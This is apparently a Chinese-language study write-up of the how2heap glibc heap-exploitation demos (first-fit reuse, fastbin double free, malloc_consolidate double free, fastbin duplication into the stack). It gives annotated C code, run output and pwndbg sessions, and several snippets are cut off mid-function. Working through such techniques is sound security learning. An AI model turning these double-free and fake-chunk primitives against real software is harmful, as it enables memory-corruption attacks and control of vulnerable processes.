intmain() { //分配两个缓冲区,不一定是fastbin,可以比较大的 fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(0x512); char* b = malloc(0x256); char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a); fprintf(stderr, "2nd malloc(0x256): %p\n", b); fprintf(stderr, "we could continue mallocing here...\n"); fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); strcpy(a, "this is A!"); fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n"); free(a);
//我们不用再释放其他的缓冲区了,只要我们分配的小于0x512,就可以从刚刚free的内存里取 fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n"); c = malloc(0x500); fprintf(stderr, "3rd malloc(0x500): %p\n", c); fprintf(stderr, "And put a different string here, \"this is C!\"\n"); strcpy(c, "this is C!"); fprintf(stderr, "3rd allocation %p points to %s\n", c, c); fprintf(stderr, "first allocation %p points to %s\n", a, a); fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n"); }
程序结果
我们再运行一下程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator. glibc uses a first-fit algorithm to select a free chunk. If a chunk is free and large enough, malloc will select this chunk. This can be exploited in a use-after-free situation. Allocating 2 buffers. They can be large, don't have to be fastbin. 1st malloc(0x512): 0x1e03010 2nd malloc(0x256): 0x1e03530 we could continue mallocing here... now let's put a stringat a that we can read later "this is A!" first allocation 0x1e03010 points to this is A! Freeing thefirst one... We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at0x1e03010 So, let's allocate 0x500 bytes 3rd malloc(0x500): 0x1e03010 And put a different string here, "this is C!" 3rd allocation 0x1e03010 points to this is C! first allocation 0x1e03010 points to this is C! If we reuse thefirst allocation, it now holds the data fromthethird allocation.
关键部分调试
因为内容比较简单,这里就做一个写入内容的对比吧
首先在写c之前下一个断点
1 2 3 4 5 6 7 8 9 10
pwndbg> 31fprintf(stderr, "3rd malloc(0x500): %p\n", c); 32fprintf(stderr, "And put a different string here, \"this is C!\"\n"); 33strcpy(c, "this is C!"); 34fprintf(stderr, "3rd allocation %p points to %s\n", c, c); 35fprintf(stderr, "first allocation %p points to %s\n", a, a); 36fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n"); 37 } pwndbg> b 32 Breakpoint 1 at 0x400842: file first_fit.c, line 32.
运行一下康康 程序停在了第32行
1 2 3 4 5 6 7 8 9
1st malloc(0x512): 0x603010 2nd malloc(0x256): 0x603530 we could continue mallocing here... now let's put a stringat a that we can read later "this is A!" first allocation 0x603010 points to this is A! Freeing thefirst one... We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at0x603010 So, let's allocate 0x500 bytes 3rd malloc(0x500): 0x603010
那我们先看看a的内容吧
1 2
pwndbg> p a $17 = 0x603010 "\250\037\335\367\377\177"
然后再看下c的内容
1 2
pwndbg> p c $18 = 0x603010 "\250\037\335\367\377\177"
可以看到此时a,c位于同一内存空间
现在两个单步直接给c赋值为”this is c” 此时康康a和c的内容
1 2 3 4
pwndbg> pa $19 = 0x603010 "this is C!" pwndbg> p c $20 = 0x603010 "this is C!"
fprintf(stderr, "Freeing the first one...\n"); free(a); //如果再free一次a,程序就会crash,因为a是free链上的最顶的chunk fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); //因此我们free b fprintf(stderr, "So, instead, we'll free %p.\n", b); free(b); //现在再free一次a fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); //现在我们的free链变成了 a->b->a fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); fprintf(stderr, "1st malloc(8): %p\n", malloc(8)); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "3rd malloc(8): %p\n", malloc(8)); }
运行结果
运行一下康康
1 2 3 4 5 6 7 8 9 10 11 12 13
This file demonstrates a simple double-free attack with fastbins. Allocating 3 buffers. 1st malloc(8): 0xd07010 2nd malloc(8): 0xd07030 3rd malloc(8): 0xd07050 Freeing the first one... If we free0xd07010 again, things will crash because 0xd07010 is at the top of the free list. So, instead, we'll free0xd07030. Now, we can free0xd07010 again, since it's not the head of the free list. Now the free list has [ 0xd07010, 0xd07030, 0xd07010 ]. If we malloc3 times, we'll get 0xd07010 twice! 1st malloc(8): 0xd07010 2nd malloc(8): 0xd07030 3rd malloc(8): 0xd07010
/* Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
void* p3 = malloc(0x400); //分配一个large bin来触发malloc_consolidate函数 fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); //通过malloc_consolidate函数我们可以把free掉的p1移动到unsorted bin中 fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); free(p1); ##然后就可以触发doublefree漏洞了 fprintf(stderr, "Trigger the double free vulnerability!\n"); fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); //现在p1既在unsorted bin中又在fastbin中,因此我们再分配两次p1大小的内存,就可以分配到同一款内存 fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); }
运行结果
1 2 3 4 5 6 7
Allocated two fastbins: p1=0x14ba010 p2=0x14ba060 Now free p1! Allocated large bin to trigger malloc_consolidate(): p3=0x14ba0b0 In malloc_consolidate(), p1 is moved to the unsorted bin. Trigger the double free vulnerability! We can pass the check in malloc() since p1 is not fast top. Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x14ba010 0x14ba010
Line number20 out of range; glibc_2.25/fastbin_dup_consolidate.c has 19lines. pwndbg> b 11 Breakpoint 1at0x4006b6: file glibc_2.25/fastbin_dup_consolidate.c, line11. pwndbg> b 13 Breakpoint 2at0x4006c4: file glibc_2.25/fastbin_dup_consolidate.c, line13. pwndbg> b 16 Breakpoint 3at0x40070b: file glibc_2.25/fastbin_dup_consolidate.c, line16. pwndbg> b 19 Breakpoint 4at0x400782: file glibc_2.25/fastbin_dup_consolidate.c, line19.
/* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there isspace available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation isnot invoked all that often in most programs. And the programs that itis called frequently in otherwise tend to fragment. */
intmain() { //这个程序就是fast_dup.c的2.0版本,作用就是欺骗系统把malloc的地址转到我们所能控制内容的栈上,也就是让下一次分配内存时在我们所能控制的栈上分配 fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsignedlonglong stack_var;
//我们控制分配的地址就是这个栈上变量的地方 fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
//这里再次,释放a,double free fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); //现在第一次分配内存,取出chunk a 赋给chunk d unsignedlonglong *d = malloc(8);
//现在free list就只剩下一个chunk a了 fprintf(stderr, "Now the free list has [ %p ].\n", a);
//现在的chunk a是free list的头chunk了,现在我们把一个假的free size写到栈上,这个时候ptmalloc就会认为栈上有一个free的chunk,就会把指针回转给他了 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
//现在我们把栈指针的向前八个字节写成0x20,也就是伪造free size,然后把他赋给d fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));
//这个时候就把栈指针写到了free list上了,此时再分配就是在栈上分配了 fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() toreturnis0x7ffe5c42b638. Allocating 3 buffers. 1st malloc(8): 0x632010 2nd malloc(8): 0x632030 3rd malloc(8): 0x632050 Freeing thefirst one... If we free 0x632010 again, things will crash because 0x632010isatthe top ofthe free list. So, instead, we'll free 0x632030. Now, we can free 0x632010 again, sinceit's notthe head ofthe free list. Now the free list has [ 0x632010, 0x632030, 0x632010 ]. We'll now carry out our attack by modifying data at0x632010. 1st malloc(8): 0x632010 2nd malloc(8): 0x632030 Now the free list has [ 0x632010 ]. Now, we have access to0x632010whileit remains atthe head ofthe free list. so now we are writing a fake free size (in this case, 0x20) tothe stack, so that malloc will think there is a free chunk there and agree to return a pointer toit. Now, we overwrite thefirst8 bytes ofthe data at0x632010to point right beforethe0x20. 3rd malloc(8): 0x632010, putting the stack address onthe free list 4th malloc(8): 0x7ffe5c42b638